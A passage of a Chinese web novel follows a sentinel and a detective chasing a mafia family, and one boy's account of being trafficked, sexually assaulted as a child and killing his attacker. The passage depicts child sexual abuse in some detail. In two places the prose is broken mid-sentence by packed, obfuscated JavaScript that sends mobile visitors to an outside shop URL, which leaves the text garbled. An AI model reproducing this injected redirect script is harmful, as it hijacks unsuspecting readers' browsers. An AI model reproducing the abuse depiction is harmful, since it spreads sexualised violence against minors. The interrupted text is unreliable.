令人意外的是,在这个信息时代,Papa还在用纸笔记录‘基路伯’的信息。每个孩子的住址和客人的名字都在上面,而因为年龄已过14被卖去□□的‘基路伯’,也记载有具体去向。莱蒂斯翻到了罗亚利的那一页,Papa在男孩的名字旁边画了颗爱心,又恶狠狠地涂掉了,而艾兰的那一页在更后面,他接待的客人只有一位——一直都是那一位。 男人叫萨塔斯.卡佩。 “……萨塔斯?” 尼尔森再三拼读了那个单词,转头问坐在椅子上,眼神放空的Papa: “喂,老兄,你确定这个没写错吗?萨塔斯.卡佩?不是萨诺斯.卡佩?” “……萨塔斯.卡佩……哨兵……圣卢赛特最大的希腊黑手党卡佩家族的首领,精神动物是雄狮。”Papa只捕捉到了‘萨塔斯.卡佩’这个名字,像是触发关键词的机器一样回答。他空洞的目光看着正在查看笔记的莱蒂斯,似乎在乞求她的肯定:“他是对小艾兰一见钟情的,艾兰来了天堂之后……就专门只接待他一个……最近……他因为手下的高级俱乐部酒神节被清洗,心情不太好……” 酒神节? 听见这个以希腊传统节日命名的俱乐部,莱蒂斯眼神一沉。她的手指下意识用力,将笔记本捻得变形,而尼尔森啧了一声,挡在Papa和莱蒂斯中间。 “嘿,脑子烧坏了的家伙,听清楚我的问题。”他再次质问。他确定那个杀手在绝望之中不可能有所隐瞒,所以——“你说艾兰的客人是萨塔斯.卡佩?那萨诺斯.卡佩是谁?” “……萨诺斯……卡佩?” 看不到莱蒂斯,Papa瘫坐回椅背,对着天花板发出梦呓般的呢喃: “……卡佩家族……没有萨诺斯.卡佩………” “不是吧,还真没有?你确定吗黎塔诺,你可是业内人士啊?” 十几分钟后,尼尔森开着一辆保时捷,对着外放的电话大呼小叫。 这车是Papa的。他们得从郊外的‘天堂’离开,所以被征服的向导心甘情愿地提供了他的车钥匙和直通车库的权限。他们走的时候,男人的共感力还没恢复,但尼尔森知道他之后会听从莱蒂斯的话控制暴走的哨兵,平息赌场的骚乱。 就在莱蒂斯走出他办公室之前,这西装革履的主管还想起身挽留。他向前了两步,可尾椎处涌上的热度又让他无力地跪倒在莱蒂斯不远处。他乞求莱蒂斯不要走,或者至少摸摸他,但莱蒂斯只是问他:“我让你做的事情做完了吗?” Papa在她的眼神里瑟缩了一下:“没有。” “那就去做。”莱蒂斯说,啪的一声把门关上了。 “抱歉,黎塔诺先生。我们遇到了杀手,尼尔森害怕,所以情绪有点激动。”而现在,这无情的哨兵又变回了礼貌的好孩子,系着安全带坐在副驾,乖乖地捧着手机和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356967|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑手党二把手通话,“我们相信您关于萨诺斯.卡佩的情报,但除此之外,我们还想知道其他关于卡佩家族的事情,我们得去找萨塔斯.卡佩……” “呵。”‘ 尼尔森害怕杀手’的陈述似乎让黎塔诺冷笑了一下,但他一如既往的高冷:“你们想找卡佩跟我有什么关系?我凭什么要帮你们?” “凭我们的帮派也遇到了哨兵暴走的问题,而现在这件事和卡佩有关。”卢娜.雷德的声音从一旁传来,“莱蒂斯小姐,抱歉,我之前不知道你正在调查哨兵暴走的事情。其实最近各个帮派也饱受其扰,只是因为我们不会报案,所以调查部可能不知道。大约在一个半月以前,火荆棘帮遭遇了第一起暴走哨兵的袭击,而到了今天,连我们自己的哨兵成员也开始暴走了。” “卢娜!”黎塔诺打断她,“这是我们内部的事情,别跟他们——嘶……” 莱蒂斯的听力捕捉到了手机那头绷带摩擦的声音,似乎是卢娜小姐在给黎塔诺包扎时故意用了力。 “别惦记你那二把手的威严了,该合作就老老实实跟人家合作。你手已经因为今晚的事情骨折了,说不定下一次折的是你的脑袋。”卢娜冷冷地对黎塔诺说,同时黑手党的吸气声更加明显了。 莱蒂斯眨眨眼睛,而尼尔森正在忍笑,最终,黎塔诺开口了: “……卡佩家族因为酒神节的事情得罪了不少人,势力大受打击。但最近听说有的商人或帮派接到他们的邀请,称将要在卡佩的庄园明晚宴请客人,萨塔斯.卡佩肯定也会在场。卡佩家族没有说明聚会的具体理由,但是……” 黎塔诺难得迟疑了一下:“但是,据说牵头的人,是哈瑞.赫夫迈。” “……” 电话两端的气氛都因为这个名字陡然一变,没人料到凌虐白鸟的伦滋.赫夫迈的议员父亲会和这件事扯上关系。车窗外快速掠过的街景中,与酒神节、赫夫迈的新仇旧恨让莱蒂斯身上散发出比冬日寒风更加刺骨的攻击性。仇恨,愤怒,痛苦引擎的轰鸣中咆哮,像是一道漆黑的火焰将她纤细的身体包围。可最后,少女看着手机的眼神,只有野兽般可怖的专注。 在荒原上若有狼这样看着一个人,那么它将在下一秒扑杀而来,将人开膛破肚。 “黎塔诺先生,卡佩的庄园武装警备怎么样?” “我们和他们很少来往,我只能告诉你,莱蒂斯小姐,不要小看一个黑手党的庄园。” “你也许可以告诉我们点别的——比如火荆棘愿意给我们提供些什么?”尼尔森适时地开口,嘴角有精明的笑,“我知道你们不方便跟卡佩家族明面上开战,正好遇上我们要管这件闲事,算是个幸运的巧合。但既然是合作关系,总不能只有我们赴汤蹈火吧?” “你们想要什么?” “庄园的位置和布局,进入庄园的渠道,尽可能多的卡佩家族的情报……”莱蒂斯接着尼尔森的话冷声道,“还有枪,很多的枪。” “……明早联系。” “其实如果你们愿意,还可以再给我们点报酬,先来个五百万镑怎么样?”尼尔森在两个严肃的声音中瞎侃起来,但他确实有个比较现实的需求,“对了黎塔诺,你们在圣卢赛特北边有没有什么据点?我们这边刚被人追杀来着,正好缺个安全的落脚点。” “……你的意思是我要把你放进我的地盘,引来卡佩家族的人,然后正式和卡佩家族开战吗?”黎塔诺额角青筋一跳,“滚远点,尼尔森.莱顿,越远越好。我没让你赔Madre(母亲)餐厅的装修钱已经仁至义尽了。” “啊,代我向盖比太太问好……”尼尔森愉快地说,“唉?挂了?真没礼貌。” 侦探于是开着保时捷一路滚进了北边的贫民区。他热情地把车钥匙给了个冲过来打劫的男人,让他把车开到南边去,然后带着莱蒂斯和罗亚利绕了一段路,进了家不需要登记身份的小旅馆。 这种地方可比金碧辉煌的高级酒店安全多了。至少见过各路牛鬼蛇神的前台看见一个男人、一个少女和一个小男孩来开一间双人房,只是淡定地给了房卡,继续刷手机去了。 78. 第七十七章 “……” 这房间真是一点都不暖和。 廉价旅馆里,罗亚利默默拉紧了徒有其表的单薄外套。他站在门口,看莱蒂斯和尼尔森一个凭感官一个凭经验像打蚊子一样拆房间里的摄像头。 他们虽然各个方面都完全不像,也完全不配,但就是有种不知从何而来的默契。罗亚利不知道他们以前一起经历过什么,但‘天堂’的战斗和车上的对话让他明白,他们才是一个世界的人。 接下来会发生什么呢?罗亚利捏了捏自己冻得发冷的指尖,只觉得既害怕又恶心。虽然他有想过要说起过去的事情,但主动坦白和被别人挑破是两码事。 他现在是一个骗人的杀人犯和一个主动贱卖自己的玩物了。得知自己并不是个无辜的受害者,莱蒂斯小姐不会再信任自己了吧?那混蛋大叔更是早就想把他踹掉了,他不知道怎么面对他们。 门就在男孩身后,他想转身逃开,但深夜的圣卢赛特危机四伏,他无处可去。他告诉自己:如果那位正直的警员小姐要审判你,就面对她吧。你不能逃,你得活下去。你走到今天这一步,就是为了纵情又自在地活,或者不那么轻易又悲惨地死。 “罗亚利。” 然而终于听到莱蒂斯喊自己名字的那一刻,男孩还是颤抖了一下:“……嗯?” “抱歉,这里最大就只有双人间,为了安全,我们只能住一个房间了。”莱蒂斯把靠里侧那张床上的枕头拍松软,像是招待远房弟弟在自家过夜的姐姐,“今晚遇到这么多事情,你应该很累了吧?这张床是你的,好好休息。我和尼尔森就……唔……” 她本来打算和尼尔森商量一下谁睡地上的,但廉价旅馆的房间实在是太小,除了床就是墙,站都快站不下,更别说躺着了。环顾一周后,少女坦然地得出结论:“我和尼尔森就挤一起好了。” 不好吧,女孩子怎么可以和那种奇怪的大叔挤一张床……但不对,如果是自己和尼尔森睡一起更奇怪?所以莱蒂斯小姐果然还是应该和自己一张床吧……罗亚利的脑子像老虎机一样摇出几个排列组合,然后宕机了:“谢谢,没问题,都可以,我无所谓的……可是,可是……” 他感到某种异物在咽喉处膨胀,让他想要呕吐。要敷衍莱蒂斯很简单,只需要告诉她自己有点冷就可以了,可看着义无反顾保护了自己的少女,他还是说出来了: “可是……莱蒂斯小姐,你不想问问Papa说的那些事情吗?” 男孩的尾音里带上了古怪的笑意。就像自暴自弃的赌徒终于抛出了最后的筹码,他瞬间如释重负。加速循环的血液让他所有的感官都像是被网罩住,昏暗的灯光下,莱蒂斯和尼尔森都看向他。罗亚利看不清,也读不出他们的表情了,但他不在乎。 深夜的寒冷逼出了男孩苍白皮肤下青色的血管,他漂亮的脸上浮现出薄情又高傲的笑。 他说:“我是用烟灰缸砸死那个男人的。” 在同样的一个冬夜,同样连暖气都开不起的破房间之中,同样发着抖的罗亚利被一个中年男人掐着脖子按在沙发里。地上的酒瓶因为他的挣扎被踢倒,酒洒了,他挨了好几巴掌。 他还记得房间里令人作呕的味道——贫穷的,堕落的味道。腐烂的食物,没扔的垃圾,男人身上发臭的油脂和汗水在沙发的布料上留下陈年的污垢。 有一只手伸进他衣服的下摆,胡乱地扯他的腰带,罗亚利因为头部的重击而头晕耳鸣,只感觉到一张被烟和酒常年荼毒得满是黄牙的嘴在对着他的脸呼出浊气,就像有人正把他的头死死按进厨余的污水里,他无法呼吸。 好痛,痛死了。 “呜……放开我……快滚开……咳啊……!给我滚开啊!!!” 男孩纤细的四肢胡乱扑腾着。他一开始试过用装作柔软顺从来换取对方的温柔,但那男人根本不具备这种程度的人性。这人长着一张噩梦一样肥肉横流的脸,丑陋,油腻,被欲望腐蚀成空洞,根本只是个想把□□塞进洞里的野兽。 他把五十磅给了送来罗亚利的□□,直接就脱了裤子压在男孩身上,只要罗亚利一躲,他就打他。 忽明忽暗的灯光捣在罗亚利的眼球,他清楚地感觉到自己的短裤被扯下了。撕裂的疼痛让罗亚利惨叫出声,而他知道自己绝对会更痛,会流更多的血。他会浑身都是伤和污渍,然后不等到恢复就被送到下一个这样的人手上——圣卢赛特有成千上万个这样蟑螂一样的人,而他是会被他们玩弄致死的一摊烂肉。 他不想做这样的烂肉。 “啊……啊啊——!!” 罗亚利发出两声嘶吼般的哭腔。他伸手抓住男人的衣领,往侧边一翻,借着体重和男人一起摔下了沙发。他颤抖着,撑着身体倒退了一小段距离,可男人只是站起来,就用阴影把他罩住了。他被踢了几脚,又被拽起来,砸进地板,来来回回,一下又一下,等男人又坐在他身上时,他浑身都疼得动不了了。 我要这么活着吗……这就是我要继续下去的生活吗? 他感觉昏昏沉沉的,可能是快晕了,或者快死了,但有一个模糊的声音在他脑子里,叫他不要昏过去,叫他继续挣扎。他很痛,很难受,但越痛那声音就越吵,越刺耳,越像是刀刮蹭着他的骨头。那男人低着头,喘着粗气,可那时,罗亚利的身体已经什么都感觉不到了。 在这只有衣物摩擦声道房间里,有无数歇斯底里的尖叫正响彻他脑海: 不要,不要!我不想这样活着!我不应该这样活着的!我不要被人用五十磅贱卖,生不如死地活然后一文不值地死——我不想这么活着,但我也不想死,我不想死,我不要死——我…… 要死的人,绝对不是我。 是这个念头先出现,还是他的手先摸到地上那个肮脏的假水晶烟灰缸,他已经分不清了。 他的耳边充斥着难以忍受的尖叫声,他的眼前像是刮花了的玻璃一样模糊。他一手抓着那烟灰缸的边沿,一手抓着男人的衣领,瘦长的腿牢牢缠在男人的腰上,疯了一样把烟灰缸往男人的后脑上砸。 脚链在墙上折射出破碎的光彩。 罗亚利紫色的眼睛睁得大大的,他看见男人的表情愤怒到狰狞到崩解,看见鲜血和脑组织液流出男人的鼻子里淌到自己脸上,但从始至终,他的眼睛连眨都没眨一下。 后来,男人终于安静了,他的耳边也终于安静了。罗亚利在地上躺了很久,等掀翻男人,从地上坐起时,他才发现杀死一个人比他想得要简单。 也是这时,他才反应过来,他杀了黑手党的客人。黑手党不在乎这个又穷又烂的家伙,但罗亚利杀了人,还想永远逃离他们,这便是不可饶恕的大罪——他挑战了帮派的权威。 “……” 罗亚利站起来,把衣服穿好,甚至还理了理发型。没关系,没问题的,他还有办法,他还有退路——‘天堂’因珀瑞恩的Papa能挡住那些□□,虽然要见Papa没那么简单,但他无论如何他都要趁黑手党发现之前…… “吱呀………” 可下一秒,破公寓的门被打开了。罗亚利下意识抓起了那个带血的烟灰缸,然后愣住了。 一个橘红短发,浅绿眼睛的小男孩从门背后探出头来。 他比罗亚利还小,穿得很单薄,头发也脏脏的,看起来没人照顾。看见陌生的人在房间里,他眨眨干净点眼睛,怯生生地笑了一下。 房间很小,死人就在地上,脸埋在一滩血里。可这孩子看起来只是有些害羞,又对罗亚利有些好奇。他的眼睛亮亮的,好像看见了什么漂亮的宝石。 昏暗的冬夜,一切都灰蒙蒙的,只有他的色彩是明丽得像是朵带着露珠的向日葵。罗亚利因为他身上古怪的善意退后了一步,他却推门进来,像是放学回家的孩子一样,走到了死去的男人旁边。 怎么办……?被看见了。他会向□□指认我吗?我要杀了他吗?还是说…… 罗亚利也说不清自己的大脑是冷静还是疯狂。他杀男人时又稳又坚定,此时双手却发起抖来。令他奇怪的是,这个男孩的脸上没有恐惧。他乖乖地跪坐在男人的尸体旁边,摇了摇对方: “爸爸……醒醒……别,睡了。” 他说话的声音比他的年龄更加稚嫩。血浸红了他的膝盖,但他好像不知道发生了什么。 “爸爸,我,回来了。” “我给你带来了,‘东西’。” 他一边说着,一边将手伸进背带裤的口袋。从那里面,他掏出了硬币,纸钞,钱包,戒指,手表……男士的,女士的,一大堆乱七八糟的东西被小小的手抓着,一把一把地放在地上,里面还有一小块面包。 他的爸爸总是这么躺在地上,意识不清,身上散发着酒或者药的奇怪味道,所以男孩不觉得这次的爸爸有什么不一样。他又摇了摇爸爸,指指自己的‘东西’,告诉他自己这次带回来了很多爸爸说可以换成‘钱’的‘东西’,但爸爸还是不理他。 “咕——” 男孩的肚子穿出奇怪的声音。他从天没亮就出去了,到现在都没有吃东西。他看了看那小块面包,最终却拉起了男人的手,放在自己头顶。 “我今天,很乖。爸爸……能不能,表扬我?” 男孩双手拉着他父亲的手,眼睛里满是明亮的期待,但他的手一松,男人的手也滑下去了。男孩一愣,一直乖巧的脸上终于流露出来一点点的难过来。可站起来后,他只是从沙发上抱起那床对他来说很重的被子,给父亲盖上了。 房间里的那 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罗亚利转身推门。黑手党之后还会上门来接自己,他得在此之前赶上去因珀瑞恩的班车,尸体就留在这里也无所谓,无非是早晚的问题……… “沙,沙……” 可那小孩子偏偏在这个时候动了。他飞快地吃完了面包,带着饥饿和疲惫掀开被子的一角裹进去,像只流浪的小狗一样蜷缩在父亲身边,安心地闭上了眼睛。那橘红色的头发如图一场温暖的落日,却见落在了一具尸体旁。 “……” 这简直是罗亚利看见过的,最荒诞,最可笑的画面了。这么小的年纪,一天之内偷到这么多东西,罗亚利看了都嫉妒。他要是有这本事,早就能在帮派里混成小头目,然后把这混蛋爹切块扔垃圾桶了。 他们不像,完全不一样,根本没有相似之处可言。可看着男孩那毫无知觉的,平静的睡颜,罗亚利忽然想起当年自己被自己的父亲卖掉的样子。 那个可恨的男人牵着他,说要带他去过好日子,罗亚利那时也和这小屁孩一个年纪,也和他一样,毫无知觉地,对父亲微笑。 而且正好,他现在还得去见另一个该死的Papa—— “……喂,别睡了!给我起来!” 罗亚利大声嚷道。他冲回去,掀开那床脏被子,把小孩从里面拽了出来:“你个智障!你爸死了,死了!他不会再管你了——反正他也没管过你!跟我走,起码……如果你想要我摸你头,我随时都可以摸!” “然后艾兰就跟我走了,反正他脑子不灵光,也搞不清楚发生了什么。他说话不利索,也不太懂别人说话,他的名字是我问了很多遍才问出来的,哈,真是个白痴。” 罗亚利说着,紧绷的声音里带着嘲笑: “Papa说得对,艾兰是个弱智,也是一个惯偷。我教他说话和讨好客人教了半年,他才学会组织语言告诉我,他偷东西是很小的时候就学会的——艾兰小时候没饭吃,以领救济餐为生,但他领到的吃的总会被流浪汉或者青少年抢走,他从那时起摸索出了把东西藏起来的技巧。” “我们住的那间公寓是他爸的,这是那个男人唯一有用的地方。我猜他爸之前是帮派里药贩子,所以家具里才有那么多暗格,还有能生出艾兰这种漂亮小孩的女人愿意跟着。” “后来的事情就像Papa说的那样。但有了‘天堂’的庇护,没有人再找我麻烦了。我和艾兰回去之后一起把他爸打扫掉了——多好笑,我杀了他爸,还住了他的房子。”罗亚利微微偏过头,带着猫一样蛊惑的微笑,和令人迷乱的危险,“这就是我杀人的故事。那么现在,莱蒂斯小姐,你还想和我睡一间房里吗?” 房间安静下来,冲上罗亚利脑子的血液也冷却了下来。男孩因为激动的情绪而用力地呼吸着,但他不想摆出示弱地表情去博得同情——也许这样做更能显得自己无辜,但他从来不后悔杀死那个男人,他瞒不过尼尔森这一点。 而莱蒂斯和尼尔森的表情也变得清晰。出乎罗亚利意料的是,他没有看见厌恶和指责。 “谢谢你愿意告诉我们这些,罗亚利。”莱蒂斯把拿在手里很久的厚毯子披上男孩瘦弱的肩膀,还替他拢了拢,“我并不想逼问你的过去,如果你不想说,不说也没关系的。” 明明是一句宽慰的话,罗亚利却打了个寒战。他抬眼去看莱蒂斯,只撞上了她眼里淡淡的悲哀。它弥散在少女墨绿的瞳孔里,像是一场大雨前潮湿的空气。 她说:“我希望有一天,你会基于信任,心甘情愿地把一切都告诉我们。” “……莱蒂斯小姐。”罗亚利扬起下巴,在尼尔森的审视中说道,“我可以发誓,我对你所言,绝对没有‘虚假’。” 79. 第七十八章 “尼尔森。” 深夜,尼尔森听见莱蒂斯喊他。她说:“我睡不着。” 准确来讲,她并不是在‘说’。尼尔森接收到的是一种精神层面的波动,它小心翼翼,在他们手指相接触的皮肤上激起一阵战栗,有点刺,还有些毛绒的触感,像是被狼的爪子轻轻刮了一下。 尼尔森下意识地睁开眼睛,感觉有些意外——他居然被莱蒂斯用精神触须戳了戳。 这还是莱蒂斯第一次向外延展精神触须。 这种命名简单粗暴的小技能由精神力凝结而成,能够像触须一样有目的地去寻找和接触其他共感者,并向其传递信号。 向导们通常会用精神触须建立通道,以此与哨兵链接,更好地疏导哨兵的感官,或者更好地摸摸他们,而哨兵则更常将其作为一种侦查和延伸攻击范围的方式。 作为一个被当作护卫培养长大的女孩,莱蒂斯还从没成功把共感力凝聚成触须过。尼尔森一直觉得她会在某次作战中自学成才,没想到却是在这么一个他闭着眼睛装死的场合。 倒也不是他想装死,他其实宁愿真死了。莱蒂斯安排他俩一张床的时候,尼尔森还觉得没什么大不了,自己多大一人了,面对一个小姑娘当然绰绰有余,无非是两个人并排躺尸。 结果这破比旅馆的单人床太小了,挤不下两个人,所以他俩只能侧着睡。但他们的手还得牵一起,所以他们只能面对面地侧着睡。他们这么面对面一睡,尼尔森就鲜明地感觉到了莱蒂斯离自己很近的呼吸和体温——然后他就这么轻易地完蛋了! 虽然他们之间还有点距离,但体型的差异使这个姿势像是一个需要长达几小时的拥抱,被几十把机枪架着都不会让他比现在更僵硬,他还睡什么睡啊! 这大概是他们认识以来贴得最近最全方位的一次。尼尔森刚见过她对Papa的完全压制,又想起自己年龄层面的不道德,不管从哪方面都觉得自己是在跟核弹在同床共枕,恨不得直接给自己上个五感封闭,结果被莱蒂斯一戳,光荣破功。 果不其然,他一睁眼就看见了小姑娘绿色的眼睛在黑暗里流转着翡翠般的光泽,正因为身高差投来自下而上的视线。 破旅馆抠得要死,他们只有一床被子,为了迁就尼尔森拉得比较高,所以莱蒂斯不得不用手把被子掖住,像什么小动物一样钻出来看着他。 嘭。 核弹炸了。 “……” 尼尔森努力集中注意力,感觉到莱蒂斯身上正散发着一种不太好意思的情绪——和他满脑子乱七八糟不一样,她只是不太好意思把他喊醒,也不太好意思承认自己难以入眠。 她似乎已经纠结很久了。尼尔森这才注意到莱蒂斯正抿着嘴唇,长发也因为冬天的静电有点乱,这让他脑子里闪过一个哭笑不得的猜想: 我未来的黑暗哨兵啊,你难不成是因为不好意思跟我直说失眠,又不想吵醒隔壁床的罗亚利,硬是憋出了精神触须来喊我吗? 尼尔森的眼睛亮起金色,精神触须贴着莱蒂斯的手腕缠回去。 他有时候真不知道到底她在倔些什么,但他知道她为什么睡不着。 她在兴奋。 这情感之强烈,哪怕只是莱蒂斯实在压不下去而泄露出的那么一点,也像强烈的电流一样历遍尼尔森的身体。 那并不是什么健康积极的感情,驱使它的是仇恨,冲动和暴力。酒神节,赫夫迈,灵魂归于天际的白鸟,沉入奎茵河底的海克.雷德,还有毫发无伤的伦兹和不知所踪的米拉和里奇。太多沉痛的过去在她脑海里复生,像是从坟墓中爬出的尸骨,带着腐朽溃烂的回忆和痛苦,留下污秽的血痕。 得知哨兵的暴走和自杀的男孩竟与先前这一切都有所关联时,莱蒂斯迅速地压抑住了自己的感情。她冷静专业地交换了情报,在大脑里规划着未来的战术,还真诚地安抚了有些自暴自弃的罗亚利。但夜深人静时,她的心脏反而开始剧烈跳动。 往事浮现,她感到亢奋的杀意如同漆黑的烈焰再次将她吞没,以她为燃料,正熊熊燃烧。这种感觉很陌生,也很沉重,她不确定这么继续下去,火中会诞生一具枯骨还是一个怪物。 然而有微凉的海水从夜色中渗出。尼尔森的手穿过那让她浑身刺痛的负面情感,握住她的手腕。 他说:“睡不着的话,就跟我回海里吧。” 霎那间,洋流涌动,天旋地转。莱蒂斯感到自己被深海的水流托举,离开那张狭窄的床。尼尔森牵着她,带她在海中轻盈地漂浮。重力被抵消了,他们仿佛在太空中漫步。 自家向导的图景为莱蒂斯带来了潜意识中的安全感,她感觉到一种归家的平静,但是—— “尼尔森,不要转移走我的感情。”莱蒂斯反手抓住侦探,在海水中将他拉到自己身前。她严肃地盯着他,嘴上却卡了壳:“我,那个……” 她有点开不了口。自从被带到圣所,她就一直孤身一人。她不习惯向人求助,也不习惯对人袒露自己的脆弱。 以往的一切,她都一个人扛下来了,将来的一些,她也习惯性地想一个人扛下去,可当失控的情绪将她淹没,她忽然和精神屏障崩坏时一样,下意识地希望尼尔森就在自己身旁。 而尼尔森也确实在她身旁。 “我不知道该怎么办。”莱蒂斯于是在侦探耐心的注视下开口。她有点想移开视线,但尼尔森嘴角似乎有笑意,她最终倔强地和他对视:“我不想在作战前失眠,但我也不想放弃这种愤怒……我知道这种感情很负面,现在自己这副样子也很可怕,但如果我把它交出去,我就背叛了海克先生和白鸟先生。不要阻止我,尼尔森,我——” “我干嘛要阻止你,这种情感又不会把我吓到,我好歹也算是个经验丰富的向导啊。”尼尔森乐了,揉了把小姑娘头顶。她根本就不知道她什么时候最可怕,连尼尔森这种人见了都想跑,反倒是现在这像同龄小孩一样红着耳尖的模样只会让人心软:“人不可能不产生负面感情,有时,它也能支持人做出一些正确的事。我只是想提醒你,别让向他人复仇的火焰灼伤了你自己,仅此而已。” “嗯……”听到尼尔森这样说,莱蒂斯的倔强似乎动摇了一瞬。她抿了抿唇,小声道:“其实……我还很担心我明天会失误。” “我知道。”尼尔森说,没忍住又揉了揉她。而小姑娘的精神触须顺势绕上他的手指,她不再隐瞒,向他传递去了自己带着血腥气息的不安。 比起刚到圣卢赛特的时候,莱蒂斯已经成熟了很多。她不再不停地怀疑自己的能力,也不再被伴随她成长的自卑困扰。但他们明天将要面对的是过去的敌人和未知的黑手党家族,她又肩扛着海克,白鸟,艾兰和罗亚利数人的悲剧,谁也不清楚未来将会如何。 货轮一役,她已经见识过命运的无常,一旦失之毫厘,没人会知道结局到底会走向何方。 所谓的‘担心’过于轻描淡写,莱蒂斯现在承受着的是难以言说的巨大压力,它沉甸甸地挤压着少女的心脏,使它迸出焦虑与紧张,而她剖开自己坚硬的外壳,将自己鲜血淋漓的部分展示给了侦探。 尼尔森感到自己的眼前笼罩上一层血色。他一愣,然后笑了。 他终于得到了她的坦诚,得到了他梦寐以求的信任。他在掌控和利用她的道路上又前进了一步,但此刻,他的眼神却是自己都没意识到的温柔,这使得他的话听起来几乎像是出自真心: “别担心,莱蒂斯。我知道你比他们都厉害,这点毋庸置疑,他们最后都会领教。何况,无论发生什么,还有我陪着你呢——好了,深夜就是容易多愁善感的时候,想太多只会更困扰。如果你想现在就去架台重机枪扫射卡佩庄园,我也陪你,但如果你想休息,就先睡觉吧。你想睡觉吗?” “唔……” 莱蒂斯晕乎乎地点点头。虽然架机枪听起来很有诱惑力,但因为‘天堂’轮番发生的战斗,她其实已经很疲惫了。 “很好。”尼尔森打了个响指,“我正好有个古法治疗失眠的办法。我的海里没有绵羊,但是——” 他牵着莱蒂斯改变了姿势,浮在水中仰面朝天,笑着指向上空:“莱蒂斯,来数星星吗?” 早些时候,他以同样的动作启动认知误导,逼疯了一个哨兵,可莱蒂斯抬头时,金色的离翼水母只是带着柔和的光辉一明一灭。那些连接在一起的,长达百米的小型个体挨个闪烁,像是自遥远黎明而来的细碎阳光,或者她儿时尚且无忧无虑的年纪,躺在草地上仰望的星辰。 于是,小姑娘的眼睛里也亮起星光。 向导的精神触须一直拥抱着她。它没有扑灭她心中的火焰,只是输送来了更大量的安心,让莱蒂斯不再受灼烧之痛苦。最终,在这海底的星空下,年轻的怪物和她的向导数着那串虚拟的银河,一同沉入了梦境。 ……喂,不是吧。怎么给我梦到这个了? 一段失去意识到安眠后,尼尔森忽然在一个空间里醒来。 即使视线依然模糊,他也知道这是哪里。他认得出这封闭的空间和刺眼的灯光,听得见耳边仪器垂死般的滴滴声。有几个人影在不远处晃,他知道那是穿着‘塔’制服的研究员正在一扇玻璃外监测数据变化。 他清楚地记得这里的每一处细节,一如他从未从这里离开。 监狱岛。实验室。 “呼……啊……” 尼尔森咬紧口中的器具,咽下唾液。这玩意是防止他咬断自己舌头用的,而他也确实想这么做。他瞪着一片混沌的眼睛看着前方,感到生不如死的疼痛像从肉里长出的尖刀一样回归他体内,以固定的频率一阵阵搅动,迸发,操纵他的身体随之剧烈颤动。 他妈的…… 冷汗顺着尼尔森的发间滴下,砸在他身上纯白的拘束服上。衣服上自带的束带把他捆得像具尸体一样严实,他坐在一张椅子上,双手被交叉着绑在身前。 “呃——!” 又一阵剧痛袭来。尼尔森瞳孔紧缩,头一偏,扯动脑后的电线。 重罪犯的颅骨被打开,粗暴地植入了一个侵入式脑机接口。许多电线像是从他大脑里扯出的神经那样挂在他身后,连接着另一侧的设备。也许是他曾经在精神层面搅坏别人脑子的报应,这次轮到‘塔’在物理层面对他这么做了。 尼尔森至今不知道这个实验的目的所在。‘塔’似乎是在往他的大脑里传入信号,强行模拟向导将其他人情感转移走的过程,向他不断输入他人的‘痛苦’,直到临界点。这直接连接神经的电信号太过真实,以至于他的身体也跟着产生了相应的痛感,日复一日,夜复一夜。 最开始的时候,电极还只贴在他太阳穴上。他会被先扔去做苦役,等累到没有力气跟‘塔’做对的时候,再带回这里。但到了如今这个阶段,他已经不再离开实验室了。 妈的,一群傻逼。 漫长的折磨没有尽头,但尼尔森没有让‘塔’得到他们想要的结果。他那时也和现在一样,始终睁着眼睛,死死盯着那些冷漠的研究员和偶尔会出现的弥斯.柯林斯。 他撑下来了,他没有崩溃,越是疲惫,越是痛苦,他眼中的光芒就越旺盛。只是这苦痛也从此根植他灵魂,在遇到莱蒂斯之前,这里就是他梦境的终点。 怎么回事……即使清楚这只是个噩梦,尼尔森也还是疼痛难忍。他今天好不容易找回了一次以往妄为的自由,没梦见自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356969|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己光辉的过去就算了,怎么还梦见最惨的时候了? 仪器上的光点穿过朦胧地视野注视着他,尼尔森努力地聚焦视线——他实在是太了解这里,以至于他甚至清楚每个角落应该亮起的灯光。所以不对,这次又什么地方不对: 他的噩梦中多出来了两抹绿色,那是什么? 他记得回到这里之前,他还有人陪伴。所以他就觉得今天不应该梦见监狱岛的,因为只要有她在,自己就会感到平静。 墨绿的光点开始摇动。它不同于机器的冰冷,它像水晶那样剔透。 那会是什么……? 尼尔森在疼痛中迟缓地思考着。视线开始回归他的控制,他终于看清,除了那几个实验员外,还有一个小小的身影正在那玻璃背后。她还很年轻,也很冲动,在一众漠然的人群里,她正在用力地捶打那扇厚重的玻璃—— 哦不。 尼尔森猛地绷直身体。 莱蒂斯? 莱蒂斯为什么会在这里?! 侦探感到不受控制的慌张。他有丰富的逃跑和欺瞒的经验,此时却不知所措。 他毫无缘由地不希望她看见自己这幅样子。 玻璃之外的黑暗里,深海开始涌动,远古的海潮冲击着莱蒂斯的身体,想将她卷走——虽然尼尔森对这间实验室里的一切束手无策,但实验室之外,依然是他精神的领域。他得赶紧把莱蒂斯送走,去哪里都好,只要不是这里…… “……!” 